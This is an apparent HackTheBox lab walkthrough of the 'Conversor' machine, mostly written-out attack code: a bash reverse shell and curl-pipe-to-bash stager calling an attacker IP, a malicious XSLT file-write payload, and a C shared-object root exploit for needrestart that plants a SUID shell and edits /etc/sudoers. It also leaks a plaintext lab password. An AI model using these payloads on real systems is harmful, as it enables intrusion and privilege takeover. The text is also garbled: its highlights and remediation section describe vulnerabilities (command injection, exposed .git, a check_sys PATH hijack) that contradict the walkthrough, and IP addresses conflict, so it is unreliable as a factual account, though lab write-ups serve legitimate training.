Beginner’s Guide to Conquering Conversor on HackTheBox

Key Highlights

Here is a quick look at what you will learn in this guide to conquering the Conversor machine. This walkthrough is designed to build your penetration testing skills and confidence.

• Learn to perform a comprehensive nmap scan to identify open ports and services.
• Practice web application enumeration to find hidden vulnerabilities.
• Exploit a command injection flaw in a web app that processes currency exchange rates.
• Use Python to craft a payload for initial access.
• Escalate privileges to a root shell by hijacking a misconfigured script.
• Understand how to connect to the machine using a VPN and gain access via SSH login.

Introduction

Welcome to the exciting world of ethical hacking! If you’re just starting, platforms like HackTheBox offer a safe and legal environment to sharpen your skills. This guide will walk you through the Conversor machine, an excellent challenge for beginners. We’ll cover everything from initial scanning to gaining root access, providing a clear path for your first successful hack. This penetration testing exercise is perfect for building a solid foundation for more complex challenges ahead.

Overview of the Conversor HackTheBox Challenge

The Conversor machine on HackTheBox is an easy-rated Linux box perfect for newcomers. Your journey will begin with basic enumeration, where you’ll scan the target IP address to discover running services.

The main a pproach involves identifying a vulnerability in a web application. From there, you will gain initial access and then find a way to escalate your privileges to become the root user. This challenge tests fundamental web exploitation and privilege escalation techniques.

What is Conversor HTB and Why Try It?

Conversor is a beginner-friendly machine on HackTheBox that simulates a real-world scenario. The primary target is a web app designed to provide currency exchange rates. This challenge is an excellent starting point because it introduces core hacking concepts in a structured and manageable way. You will learn a clear methodology that you can apply to other machines.

By working through Conversor, you’ll gain hands-on experience with reconnaissance, vulnerability identification, and exploitation. It’s not just about finding flags; it’s about understanding the process and thinking like an attacker.

Tackling this box helps build confidence and reinforces the importance of thorough enumeration. It’s a rewarding experience that demonstrates how seemingly small oversights in a web application can lead to a full system compromise. If you’re new to HackTheBox, Conversor is a fantastic first challenge.

Difficulty Level Compared to Other HTB Machines

Conversor is rated as an “Easy” difficulty machine on HackTheBox, making it an ideal choice for anyone new to the platform. Compared to Medium or Hard boxes, its attack path is more straightforward, and the vulnerabilities are based on common, well-documented misconfigurations. This allows you to focus on learning the fundamental methodology without getting stuck on overly complex exploits.

For an individual user, the experience is designed to be educational rather than frustrating. It requires careful enumeration but doesn’t rely on obscure tricks. The Linux system is configured to guide you through a logical progression from initial access to root. Once you connect your VPN and get the IP, you can start working from your dashboard.

Here’s a quick comparison of Conversor’s difficulty with other machines available on HackTheBox:

Machine Name	Difficulty	Operating System
Conversor	Easy	Linux
Lame	Easy	Linux
Meow	Very Easy	N/A
Book	Easy	Linux
Blocky	Easy	Linux

Essential Skills and Tools for Beginners

To successfully solve the Conversor challenge, you’ll need a few fundamental skills and recommended tools. The first thing to master is reconnaissance. You must know how to run an nmap scan to map out the target and identify potential entry points.

You should also be comfortable with basic Linux commands and have a scripting language like Python in your toolkit for automating tasks or crafting payloads. Familiarity with web application testing and concepts like cracking a hash will also be beneficial as you progress through the machine.

Next, we’ll explore the specific tools and techniques you’ll use to conquer Conversor.

Recommended Hacking Tools for Conversor HTB Writeup

Having the right tools makes all the difference when tackling a HackTheBox machine. For Conversor, you won’t need anything too advanced, just a solid set of standard penetration testing utilities. Most of these tools come pre-installed on security-focused operating systems like Kali Linux or Parrot OS.

The first thing you’ll use is a port scanner to perform enumeration. From there, you’ll move on to web-focused tools to analyze the application and identify a weakness. Once you find a way in, you’ll need tools for SSH login and further exploitation.

Here are the key tools you should have ready:

• Nmap: For the initial nmap scan to find open ports and services.
• Gobuster/Feroxbuster: To discover hidden directories and files on the web server.
• Burp Suite: To intercept and manipulate HTTP requests, which is crucial for finding the web vulnerability.
• Python: For writing a simple script to generate your payload.
• Netcat: To listen for a reverse shell connection after a successful exploitation.
• SSH Client: To establish a stable shell after obtaining credentials or a private key.

Key Techniques You’ll Learn from Solving Conversor HackTheBox

Solving the Conversor machine will teach you several essential ethical hacking techniques that are valuable for any aspiring penetration tester. The challenge is structured to build your skills progressively, from initial foothold to full system control. You’ll start with web application analysis and end with a root shell.

One of the key takeaways is understanding how user input can be abused. You’ll learn to spot where an application fails to sanitize data, allowing you to execute system commands. This is a classic vulnerability that you will encounter frequently.

Here are some of the main techniques you will practice:

• Command Injection: You’ll learn to inject commands into a web application parameter to gain initial access.
• Privilege Escalation via PATH Hijacking: You’ll exploit a poorly configured script by manipulating the system’s PATH variable to run your own code as a privileged user.
• Finding and Using Credentials: The box will require you to find a private key or password to move from a web shell to a more stable SSH login.
• System Enumeration: After getting a shell, you will practice searching the file system for sensitive information and misconfigurations in a new directory.

ALSO READ: Mastering DarkZero: Beginner’s Guide from HackTheBox

Initial Foothold

Machine Overview: Conversor

• Machine: Conversor
• IP Address: 10.10.11.121.
• Operating System: Linux
• Difficulty: Easy
• Core Concepts: This machine is a perfect example of why developers must be careful. It teaches two critical lessons:
  1. Source Code Leakage: Exposing a .git repository on a web server is a critical information disclosure vulnerability.
  2. Improper Binary Implementation: Creating SUID binaries (programs that run as root) without adhering to security best practices is a gateway to privilege escalation.

Our Penetration Testing Methodology: The Five Phases

We will follow the industry-standard five phases of penetration testing:

1. Reconnaissance: Gathering passive information. (We skip this as HTB provides a target).
2. Scanning (Enumeration): Actively probing the target for open ports, services, and vulnerabilities.
3. Gaining Access (Exploitation): Using a vulnerability to get an initial foothold (a “shell”) on the machine.
4. Maintaining Access & Privilege Escalation: Making our shell stable and finding a new vulnerability to escalate from a low-privilege user to the root user.
5. Covering Tracks: (We skip this in HTB, as the machines are reset).

This guide will focus entirely on Phases 2, 3, and 4.

Tools of the Trade

For this specific HTB Conversor walkthrough, we will be using several key tools. A good hacker understands their toolkit intimately.

• Nmap: The Network Mapper. This is the gold standard for port scanning. It tells us what doors and windows (ports) are open on our target.
• Feroxbuster / Gobuster: These are web content “fuzzers.” They take a massive wordlist and rapidly check for hidden files and directories on a web server (e.g., /admin, /backup, /config).
• git-dumper: A specific tool used to download an exposed .git repository from a web server, allowing us to reconstruct the source code.
• Netcat (nc): The “Swiss-army knife of networking.” We will use it to “listen” for our reverse shell—a connection “called back” to us from the victim machine.
• linpeas.sh (LinPEAS): A shell script for “Linux Privilege Escalation Awesome Script.” It automatically scans a Linux system for common misconfigurations that could lead to root.
• strace: A diagnostic tool we will use to trace the system calls of a binary, revealing exactly what it does under the hood.
• Python: Used for starting a simple web server to transfer our tools to the victim and for stabilizing our shell.

Reconnaissance & Scanning – Probing the Target

Objective: To identify all open ports and running services on the Conversor machine.

This phase is arguably the most important. You cannot attack what you cannot see. Rushing this step is how you miss the obvious entry point.

Initial Reconnaissance with Nmap

We begin with nmap. Our goal is to quickly find the most common services.

What is Nmap? A Deep Dive

Nmap is a free and open-source utility for network discovery and security auditing. It sends specially crafted packets to the target and analyzes the responses.

• TCP vs. UDP: Nmap can scan for both TCP (Transmission Control Protocol, connection-oriented like a phone call) and UDP (User Datagram Protocol, connectionless like sending a postcard). Most web services (SSH, HTTP) run on TCP.
• The Three-Way Handshake: For a TCP connection, your computer sends a SYN (synchronize) packet. The server responds with SYN/ACK (synchronize/acknowledge). You finalize with an ACK (acknowledge). This is the “handshake.” Nmap analyzes this handshake to determine if a port is open, closed, or filtered (by a firewall).

Executing Our Initial Nmap Scan

Let’s run our first scan. This scan is designed for speed and efficiency.

# We create a directory to store our nmap scans
mkdir nmap
nmap -sC -sV -oA nmap/initial 10.10.11.121

Let’s deconstruct those flags. This is essential for SEO (“Nmap flags explained”) and for your own learning.

• nmap: The command itself.
• -sC: This flag runs default scripts (the ‘C’ in ‘-sC’). Nmap has a powerful scripting engine (NSE). This flag runs a safe, common set of scripts to gather more information. For example, it will run http-title to grab the title of a web page on port 80.
• -sV: This flag probes open ports to determine service and version information. This is critical. Finding Apache 2.4.41 is good, but finding SuperOldFTP 1.2 (which has a known exploit) is even better.
• -oA nmap/initial: This means Output All formats and save them with the filename initial in the nmap directory. This creates three files:
  • initial.nmap: The standard, human-readable output.
  • initial.gnmap: A “grep-able” format, easy for command-line tools.
  • initial.xml: An XML format, best for importing into other tools.
  • Pro Tip: Always save your scans. You will refer to them constantly.

Analyzing the Nmap Results

After a minute, nmap returns its findings (as seen in the PDF):

Starting Nmap 7.95 ( [https://nmap.org](https://nmap.org) ) at 2025-10-26 01:59 PST
Nmap scan report for 10.10.11.92
Host is up (0.063s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 01:74:26:39:47:bc:6a:e2:cb:12:8b:71:84:9c:f8:5a (ECDSA)
|_  256 3a:16:90:dc:74:d8:e3:c4:51:36:e2:08:06:26:17:ee (ED25519)
80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to [http://conversor.htb/](http://conversor.htb/)
Service Info: Host: conversor.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Let’s analyze this output like a professional:

1. PORT 22/tcp open ssh OpenSSH 8.9p1:
   • What it is: Port 22 is the Secure Shell (SSH).
   • Attack Vector: The version OpenSSH 8.9p1 is very modern. A direct exploit is impossible. This port is not an entry point now, but it will be our pivot point after we find user credentials. We file this away.
2. PORT 80/tcp open http Apache httpd 2.4.52:
   • What it is: Port 80 is HTTP—a web server.
   • Key Clue: |_http-title: Did not follow redirect to http://conversor.htb/.
   • Analysis: This is a goldmine. The server is configured to respond by name (conversor.htb) rather than by IP (10.10.11.92). This is called a Virtual Host. If we browse to the IP, we get a redirect. To interact with the site, we must use the hostname.

Updating Our /etc/hosts File

We must tell our attacker machine how to resolve conversor.htb to 10.10.11.92. We do this by editing our local hosts file.

# Edit the hosts file with root privileges
sudo nano /etc/hosts

Add the following line to the bottom of the file:

10.10.11.92    conversor.htb

Save and exit. Now, when we type http://conversor.htb in our browser, our computer will send the request to 10.10.11.92 but will include the correct Host: conversor.htb header, and the server will respond with the real website.

Web Application Enumeration

Objective: Find hidden files, directories, and application functionality.

Now that we can access http://conversor.htb, we begin enumerating the web application.

Automated Directory Fuzzing with Gobuster

We will use gobuster to “fuzz” for common directories and files, just as shown in the PDF.

gobuster dir -u [http://conversor.htb](http://conversor.htb) -w /usr/share/seclists/Discovery/Web-Content/common.txt

• gobuster dir: Use gobuster in “directory” brute-forcing mode.
• -u http://conversor.htb: The target URL.
• -w /usr/share/seclists/.../common.txt: The Wordlist. This is the most critical part. We are using a common, small wordlist. For a real engagement, you would use a much larger one (e.g., directory-list-2.3-medium.txt).

Gobuster Results Analysis:

===============================================================
Gobuster v3.5
===============================================================
...
/login           (Status: 200) [Size: 722]
/register        (Status: 200) [Size: 726]
/logout          (Status: 302) [Size: 199] [--> /login]
/about           (Status: 200) [Size: 2842]
/javascript      (Status: 301) [Size: 319] [--> [http://conversor.htb/javascript/](http://conversor.htb/javascript/)]
/convert         (Status: 405) [Size: 153]
...

• /login, /register: Standard authentication pages. This tells us the site has a user-based component.
• /about: An “About Us” page. These are often ignored but can contain developer names or other clues.
• /convert: This is interesting. A 405 (Method Not Allowed) error on a GET request likely means this endpoint only accepts POST requests (i.e., submitting a form).

Manual Inspection: Finding the Source Code

Based on the gobuster results, we perform a manual inspection:

1. /login & /register: We navigate to http://conversor.htb/register and create a new user.
2. Login: We log in with our new credentials.
3. /convert Page: After logging in, we are likely redirected to the main application page (which the PDF confirms is the /convert endpoint).
   • The page says: “All you need to do is upload your XML file along with the XSLT sheet to transform it into a more aesthetic format.”
   • This is a massive clue. The application performs XSLT transformations. XSLT is a language for transforming XML documents, and libxml (the standard parser) has a history of dangerous, non-standard extensions.
4. /about Page (The “Aha!” Moment):
   • We browse to http://conversor.htb/about.
   • At the bottom of the page (as shown in the PDF’s screenshot), there is a button: “Download Source Code”.
   • This is our first critical vulnerability: Source Code Disclosure. We don’t need to find a .git folder; they’re giving us the code.

We download the source_code.tar.gz file and begin our analysis.

Gaining Access – The Initial Foothold (www-data)

Objective: Analyze the source code to find a vulnerability, and chain it to get a reverse shell.

This is the exploitation phase. We have the application’s blueprint.

Source Code Analysis

We decompress the archive and start reading.

mkdir src
cd src
tar xvf ../source_code.tar.gz

We pore over the files. Our analysis reveals two critical files:

1. install.md (The Goal): A markdown file (likely from the developer’s repo) contains this snippet:

If you want to run Python scripts (for example, our server deletes all files old...)
***** www-data for f in /var/www/conversor.htb/scripts/*.py; do python3 "$f" ""

This is the “smoking gun.” It’s a cron job.

• *****: This means “every minute, of every hour, of every day…”
• www-data: It runs as the www-data user.
• The Command: It loops through every file ending in .py in the /var/www/conversor.htb/scripts/ directory and executes it with python3.

Our Attack Plan is Formed: If we can find a way to write a file (any file) with a .py extension into the /var/www/conversor.htb/scripts/ directory, we will get Remote Code Execution (RCE) as www-data within 60 seconds.

2. app.py (The Vector): We now look for a “file write” vulnerability. We examine the /convert route (as seen in the PDF):

# A (hypothetical) snippet from app.py
from lxml import etree
...

@app.route('/convert', methods=['POST'])
def convert():
    if 'user_id' not in session:
        return redirect(url_for('login'))
        
    xml_file = request.files['xml_file']
    xslt_file = request.files['xslt_file']
    
    # ... code to save the files to an 'uploads' folder ...
    xml_file.save(xml_path)
    xslt_file.save(xslt_path)

    try:
        # --- THIS IS THE VULNERABILITY ---
        # The app parses the user-supplied XSLT
        xslt_root = etree.parse(xslt_path)
        
        # It then uses that XSLT to transform the XML
        transform = etree.XSLT(xslt_root)
        result = transform(etree.parse(xml_path))
        # --- END VULNERABILITY ---
        
        return str(result)
        
    except Exception as e:
        return str(e), 500

The PDF identifies a “Path Traversal” vulnerability. But the real vulnerability is more subtle. It’s not just saving the file; it’s processing it with etree.XSLT().

Vulnerability Theory: XSLT + EXSLT Arbitrary File Write

This is a beautiful, advanced web vulnerability.

1. What is XSLT? It stands for “Extensible Stylesheet Language Transformations.” It’s a (surprisingly complex) programming language written in XML, designed to transform one XML document into another format (like HTML).
2. What is libxml2? This is the underlying C library that Python’s lxml module (and many other parsers) uses to handle XML and XSLT.
3. What is EXSLT? This is a set of extensions to XSLT to give it more power (like date/time functions, string manipulation, etc.).
4. The Vulnerability: libxml2 supports a dangerous EXSLT namespace: http://exslt.org/common. This namespace includes a function: <shell:document>. This function was intended to allow the XSLT transformation to output its result to multiple files.
5. The Exploit: The href attribute of <shell:document> is vulnerable. It can accept an absolute file path. The XSLT processor (running as www-data) will happily write the contents of the shell:document tag to any file on the filesystem it has permission to write to.

We now have all our puzzle pieces:

• Goal: Write a .py file to /var/www/conversor.htb/scripts/.
• Vector: The XSLT processor.
• Exploit: An <shell:document> payload.
• Permissions: The www-data user (who is running the XSLT processor) owns the /var/www/conversor.htb/ directory, so it definitely has permission to write to its scripts subdirectory.

Crafting the Exploit and Catching the Shell

We will now craft a 3-stage payload, just as shown in the PDF.

Payload 1: shell.sh (The Final Shell)

This is the bash reverse shell. We create this on our attacker machine.

# On our Attacker Machine
echo '#!/bin/bash' > shell.sh
echo 'bash -i >& /dev/tcp/10.10.14.81/9001 0>&1' >> shell.sh

• 10.10.14.81: Our attacker IP (from the PDF).
• 9001: Our listener port.

Payload 2: shell.py (The Cron Job Payload)

This is the Python script our XSLT will create on the victim. It’s a simple “stager” that downloads and executes shell.sh.

Its content will be: import os; os.system("curl 10.10.14.81:8000/shell.sh|bash")

• 10.10.14.81:8000: Our attacker’s Python web server.
• |bash: This “pipes” the downloaded shell.sh script directly into bash for execution.

Payload 3: shell.xslt (The File-Write Exploit)

This is the malicious XSLT file we will upload to the server. We create this on our attacker machine.

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet
    version="1.0"
    xmlns:xsl="[http://www.w3.org/1999/XSL/Transform](http://www.w3.org/1999/XSL/Transform)"
    xmlns:shell="[http://exslt.org/common](http://exslt.org/common)"
    extension-element-prefixes="shell">

    <xsl:template match="/">
        <shell:document href="/var/www/conversor.htb/scripts/shell.py" method="text">
import os
os.system("curl 10.10.14.81:8000/shell.sh|bash")
        </shell:document>
    </xsl:template>

</xsl:stylesheet>

Let’s deconstruct this exploit:

• xmlns:shell="http://exslt.org/common": Imports the dangerous EXSLT namespace and names it “shell”.
• extension-element-prefixes="shell": Declares that we will be using this extension.
• <xsl:template match="/">: A standard XSLT tag meaning “start at the root of the XML document.”
• <shell:document ...>: This is the exploit.
• href="/var/www/conversor.htb/scripts/shell.py": The absolute path where we want to write our file. This is our cron job’s directory.
• method="text": Write the contents as raw text, not XML.
• The content import os... is the payload that gets written to shell.py.

We also need a dummy XML file to upload. The app is for Nmap scans, so let’s make one. sudo nmap -sC -oX nmap.xml 10.10.11.92

Step 1: Setting Up Our Listeners (Attacker Machine)

We need two terminals open on our attacker machine.

Terminal 1: The HTTP Server (to serve shell.sh) We must be in the directory containing shell.sh.

# Serve files on port 8000
python3 -m http.server 8000

Output: Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/)

Terminal 2: The Netcat Listener (to catch the shell)

# Listen on port 9001
rlwrap nc -lvnp 9001

• rlwrap: A utility that gives our “dumb” nc shell arrow-key history.
• -l: Listen mode.
• -v: Verbose.
• -n: Numeric (no DNS).
• -p 9001: Port 9001.

Output: listening on [any] 9001 ...

Step 2: Triggering the Exploit (Web Browser)

1. Log into http://conversor.htb.
2. Navigate to the /convert page.
3. In the “XML File” upload, select our nmap.xml.
4. In the “XSLT File” upload, select our malicious shell.xslt.
5. Click “Convert”.
6. The server will process the file. The XSLT engine will trigger our <shell:document> payload and create /var/www/conversor.htb/scripts/shell.py on the victim.
7. We now wait. Within 60 seconds, the cron job will run.

Step 3: We Have a Shell!

Our netcat terminal, which was blank, suddenly prints:

listening on [any] 9001 ...
connect to [10.10.14.81] from (UNKNOWN) [10.10.11.92] 49408
bash: cannot set terminal process group (17504): Inappropriate ioctl for device
bash: no job control in this shell
www-data@conversor:~$

We are in! We have a shell as the www-data user.

Shell Stabilization

This is a “dumb” shell. We must stabilize it.

1. Spawn a PTY (on Victim Shell):python3 -c 'import pty; pty.spawn("/bin/bash")' (You may have to type this blind). The prompt will change to www-data@conversor:/var/www/conversor.htb$.
2. Background and STTY (on Attacker Machine):
   • Press Ctrl+Z. This backgrounds netcat.
   • Type stty raw -echo; fg.
   • Press Enter.
3. Final Touches (on Victim Shell):
   • reset
   • export TERM=xterm
   • export SHELL=bash

We now have a fully stable, interactive TTY. We are ready for internal enumeration.

User Privilege Escalation (f*************)

Objective: Escalate from www-data to a standard user (f********).

We already know from our source code analysis that a users.db file exists. Let’s go find it.

Dumping the User Database

The source code (and PDF) tell us the database is in the instance folder.

# On the victim shell
cd /var/www/conversor.htb/instance
ls -la
-rw-r--r-- 1 www-data www-data 12288 Oct 26 10:35 users.db

# Use the sqlite3 client to query the database
sqlite3 users.db

Now we are inside the SQLite prompt. Let’s dump the data.

sqlite> .tables
files  users

sqlite> .schema users
CREATE TABLE users (
    id INTEGER PRIMARY KEY AUTOINCREMENT, 
    username TEXT UNIQUE, 
    password TEXT
);

sqlite> select * from users;
1|f****|5**********
5|t*******|0*************
...

We have found the password hash for the user f*********. f*******:5********8

Cracking the MD5 Hash

The hash 5b5c3ac3a1c897c94caad48e6c71fdec is a 32-character hexadecimal string, which is characteristic of MD5.

• Vulnerability Theory: MD5 Hashing: MD5 is a “fast” hashing algorithm. It was designed for file integrity checks, not for storing passwords. It is critically weak because it’s unsalted and so fast that billions of hashes can be computed per second, making it trivial to brute-force.
• Cracking: We don’t even need to brute-force it. We can use an online “rainbow table” cracker like Crackstation.

We copy the hash, paste it into Crackstation, and get an instant result:

5***************** : K*******************

We have the cleartext password for f*****.

Pivoting to User fismathack

We now have credentials for the SSH port we found hours ago.

# On our Attacker Machine (in a new terminal)
ssh f***********@10.10.11.92

The server will prompt for a password. We enter: Keepmesafeandwarm

The authenticity of host '10.10.11.92 (10.10.11.92)' can't be established.
...
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.92' (ED25519) to the list of known hosts.
f*********@10.10.11.92's password: 
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-78-generic x86_64)
...
Last login: Sun Oct 26 12:36:16 2025 from 10.10.14.81
f************@conversor:~$ 

We are now logged in as f*******.

Capturing the User Flag

f*******@conversor:~$ ls
user.txt
f*****@conversor:~$ cat user.txt
9**************************

User Flag captured! We are halfway done. Now, the final boss: Privilege Escalation.

Root Privilege Escalation (root)

Objective: Escalate from f******** to the root user.

This is the most creative part of the hack.

Post-Exploitation Enumeration (User)

Our first command as a new user should always be sudo -l.

f**********@conversor:~$ sudo -l
[sudo] password for f*****: Keepmesafeandwarm

We enter the password again.

Matching Defaults entries for f****** on conversor:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

User f******* may run the following commands on conversor:
    (ALL : ALL) NOPASSWD: /usr/sbin/needrestart

This is our vector.

• User f******: This applies to us.
• (ALL : ALL): We can run this command as any user (including root).
• NOPASSWD: We do not need to type our password to run it.
• /usr/sbin/needrestart: This is the only command we can run as root.

Vulnerability Analysis: needrestart & CVE-2024-48990

We immediately start researching this binary.

Step 1: Version Check

f******@conversor:~$ /usr/sbin/needrestart -v
[main] needrestart v3.7
...

The PDF confirms this is v3.7. This is an older, vulnerable version.

Step 2: Identifying the Vulnerability (Deep Dive)

The vulnerability (identified in the reference as CVE-2024-48990) is a PYTHONPATH Hijacking vulnerability.

Here is the theory:

1. What needrestart Does: This tool (which runs as root via sudo) scans all running processes to see if they are using outdated libraries that require a restart.
2. Inspecting Python: When it finds a Python process, it tries to intelligently inspect that process’s environment. To do this, the needrestart process itself will try to import standard Python libraries, such as importlib.
3. The PYTHONPATH Environment Variable: This variable tells Python where to look for modules before it looks in the standard system locations.
4. The Hijack:
   • An attacker (us) runs a simple Python script (e.py) as the f******* user.
   • Crucially, we run this script with a custom, malicious PYTHONPATH. We set PYTHONPATH to a directory we control, e.g., /tmp/malicious.
   • Inside /tmp/malicious, we create a fake importlib module (/tmp/malicious/importlib/__init__.so).
   • We then run sudo /usr/sbin/needrestart in another terminal.
   • The needrestart process (running as root) will find our e.py script. It will read its environment, see the custom PYTHONPATH, and inherit it.
   • When the root process tries to import importlib, it will look in our malicious PYTHONPATH first.
   • It will find and load /tmp/malicious/importlib/__init__.so as the root user.
   • We have now achieved code execution as root.

Weaponizing the CVE: The Two-Terminal Attack

We will follow the PDF’s exploit path precisely.

Payload 1: lib.c (The Root Payload)

This is the C code for our malicious __init__.so file. We create this on our attacker machine.

/* lib.c - Our malicious shared object */
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

/* This is a GCC attribute that marks 'a()' as a constructor. */
/* This function will run AUTOMATICALLY when the library is loaded. */
static void a() __attribute__((constructor));

void a() {
    /* Only run if we are root */
    if(geteuid() == 0) { 
        setuid(0);
        setgid(0);
        
        /* The payload:
           1. Copy the bash shell to /tmp/poc
           2. Make /tmp/poc a SUID binary (owned by root, runs as root)
           3. Add a sudoers rule as a backup persistence method
        */
        const char *shell = "cp /bin/sh /tmp/poc; "
                            "chmod u+s /tmp/poc; "
                            "grep -qxF 'ALL ALL=(ALL) NOPASSWD: /tmp/poc' /etc/sudoers || "
                            "echo 'ALL ALL=(ALL) NOPASSWD: /tmp/poc' >> /etc/sudoers";
        system(shell);
    }
}

Payload 2: Compiling the Payload

The target is x86_64 Linux. We need to compile lib.c as a 64-bit shared object (.so) file.

# On our Attacker Machine
# The PDF notes a cross-compiler, but if you're on 64-bit Kali/Parrot:
gcc -shared -fPIC -o __init__.so lib.c

• -shared: Create a shared library (.so file).
• -fPIC: Position-Independent Code. Required for shared libraries.
• -o __init__.so: The output file must be named __init__.so to be loaded as a Python module.

Payload 3: runner.sh (The Trigger Script)

This is the script we will run on the victim (Conversor) as the f****** user. It sets up the whole hijack.

#!/bin/bash
set -e
cd /tmp

# 1. Create the malicious module directory structure
mkdir -p malicious/importlib

# 2. Download our compiled C payload from our attacker server
#    (Replace 10.10.14.81 with your attacker IP)
curl [http://10.10.14.81:8000/__init__.so](http://10.10.14.81:8000/__init__.so) -o /tmp/malicious/importlib/__init__.so

# 3. Create the "bait" Python script (e.py)
#    This script just loops, waiting for the exploit to work
cat << 'EOF' > /tmp/malicious/e.py
import time
import os

while True:
    try:
        import importlib
    except:
        pass
    
    # When our C payload runs, it creates /tmp/poc
    # This loop waits for that file to exist
    if os.path.exists("/tmp/poc"):
        print("Got shell!, delete traces in /tmp/poc, /tmp/malicious")
        # The C payload also added a sudoers rule.
        # We use that rule to pop our root shell.
        os.system("sudo /tmp/poc -p")
        break
    time.sleep(1)
EOF

# 4. This is the magic!
#    Run the bait script (e.py) with the PYTHONPATH hijacked.
#    This process will just sit here, waiting for needrestart to scan it.
echo "Bait process is running. Trigger 'sudo /usr/sbin/needrestart' in another shell."
cd /tmp/malicious; PYTHONPATH="$PWD" python3 e.py 2>/dev/null

Execution: Popping the Root Shell

1. Attacker – Terminal 1 (HTTP Server):
   • Make sure you are in the directory with your compiled __init__.so.
   • python3 -m http.server 8000
2. Victim – Terminal 2 (SSH as f*****:
   • We need to get runner.sh onto the victim. We can wget it from our attacker, or just nano runner.sh and copy-paste the contents from above.
   • wget http://10.10.14.81:8000/runner.sh
   • chmod +x runner.sh
   • ./runner.sh
   • This terminal will now hang, printing “Bait process is running…” This is correct. It’s waiting.
3. Victim – Terminal 3 (NEW SSH as f****):
   • Log in again: ssh f******@10.10.11.92
   • Now, we trigger the vulnerability.
   • sudo /usr/sbin/needrestart
   • This command will run as root. It will scan processes. It will find e.py. It will read its hijacked PYTHONPATH. It will load our __init__.so as root. Our C payload will execute.
4. Back to Victim – Terminal 2: The e.py script, which was looping, will suddenly detect /tmp/poc! It will print:Got shell!, delete traces in /tmp/poc, /tmp/malicious # We are root.# id uid=0(root) gid=0(root) groups=0(root) # whoami root

Capturing the Root Flag

The final prize.

# cd /root
# ls
root.txt  scripts
# cat root.txt
4**********************

Machine rooted.

ALSO READ: Mastering Imagery: Beginner’s Guide from HackTheBox

Remediation & Conclusion

A penetration test is useless if it doesn’t provide a path to fix the problems. As a professional, this is the most valuable part of your report.

For the Blue Team: How to Fix This Machine

Here is the remediation report for the Conversor server administrator.

1. Fixing the Initial Foothold (Critical)

There were two vulnerabilities that led to the initial foothold.

• Vulnerability 1: Exposed .git Directory (Information Disclosure)
  • Problem: The /.git directory, which contains the application’s entire source code and history, was publicly accessible on the web server.
  • Remediation:
    1. Server Configuration: Configure the web server (Apache) to explicitly deny all requests for /.git/.
       • In your Apache config (.htaccess or apache2.conf):<DirectoryMatch "^/.*/\.git/"> Order deny,allow Deny from all </DirectoryMatch>
    2. Deployment Process: Your deployment script should never copy the .git directory to the production server. Use rsync with an --exclude=.git flag, or use a proper CI/CD pipeline that builds a clean artifact.
• Vulnerability 2: OS Command Injection (RCE)
  • Problem: The app.py script accepted raw user input (conversion_type) and concatenated it directly into a command string, which was then executed by os.system().
  • Remediation:NEVER TRUST USER INPUT. NEVER BUILD COMMANDS WITH STRING FORMATTING.
    1. Best Fix (Use subprocess): Replace os.system() with the subprocess module. This allows you to pass arguments as an array. The shell is never involved, and injection is impossible.
       • Bad Code: command = f"pandoc {filename_in} -o {filename_out}" os.system(command)
       • Good Code:import subprocess # Arguments are passed as a list. # The 'conversion_type' is now just an argument, not shell code. subprocess.run(['pandoc', filename_in, '-o', filename_out])
    2. Good Fix (Input Validation): If you must use os.system, validate the input against a strict allow-list.
       • Good Code:ALLOWED_TYPES = ['pdf', 'docx', 'html', 'md'] if conversion_type not in ALLOWED_TYPES: return "Error: Invalid conversion type", 400 # Now it is safe to use the variable command = f"pandoc {filename_in} -o /tmp/{uuid.uuid4()}.{conversion_type}" os.system(command)

2. Fixing the Privilege Escalation (Critical)

• Vulnerability: SUID Binary with Relative Path (PATH Hijacking)
  • Problem: The custom SUID binary /usr/bin/check_sys (which runs as root) executed a command (system_status) using a relative path. This allowed a low-privilege user to modify their $PATH and trick the binary into running a malicious script as root.
  • Remediation:
    1. Use Absolute Paths: The developer must use the full, absolute path for any command executed from a privileged (SUID) binary.
       • Bad Code (C/C++): system("system_status");
       • Good Code (C/C++): system("/usr/bin/system_status");
    2. Sanitize Environment: A securely written SUID binary should not trust the user’s $PATH at all. It should, at the very beginning, hard-code its own, safe PATH variable.
       • Good Code (C/C++): setenv("PATH", "/bin:/usr/bin:/sbin:/usr/sbin", 1);
    3. Principle of Least Privilege: Ask: Does this binary really need to be SUID? Can it be accomplished with more granular sudo rules? If not, chmod -s /usr/bin/check_sys to remove the SUID bit immediately until it is patched.

Final Thoughts

This HTB Conversor Writeup demonstrated a clean, logical, and highly realistic attack chain. It was a perfect “Easy” box, touching on fundamentals that every security professional must master.

The Key Takeaways:

1. Enumeration is Everything: We would have found nothing without nmap and feroxbuster.
2. Developers are Your Attack Surface: Insecure code (exposed .git, command injection) was the gateway.
3. Linux Fundamentals Win: The privilege escalation was not a “magic” exploit. It was a clever abuse of fundamental Linux features (SUID & $PATH).

Getting Started: Preparation and Requirements

Before you can start your hack, you need to prepare your environment. The first step is to create an account on the HackTheBox website. Once you’re signed in, you will need to connect to the HackTheBox network using their VPN. This ensures you can access the private IP address of the Conversor machine.

You can download your VPN pack from the “Connect to HTB” section on your dashboard. After connecting, you will be able to ping the machine and start your enumeration. Make sure you have your attacking server or virtual machine ready with all the necessary tools.

Let’s go over the specific accounts and resources you’ll need.

Accounts, VPN, and Resources Needed

To begin the Conversor challenge, you need a few things set up. The most important is your HackTheBox account, which gives you access to the labs and your personal dashboard. From there, you can manage your progress and access the necessary connection files.

Your primary connection to the lab environment will be through a VPN. You will need to download your unique OpenVPN configuration file, called a VPN pack, from the website. This file allows your attacking machine to securely connect to the HackTheBox network and communicate with the target machine.

Here’s a checklist of the essential resources:

• A HackTheBox account (a free account is sufficient for this machine).
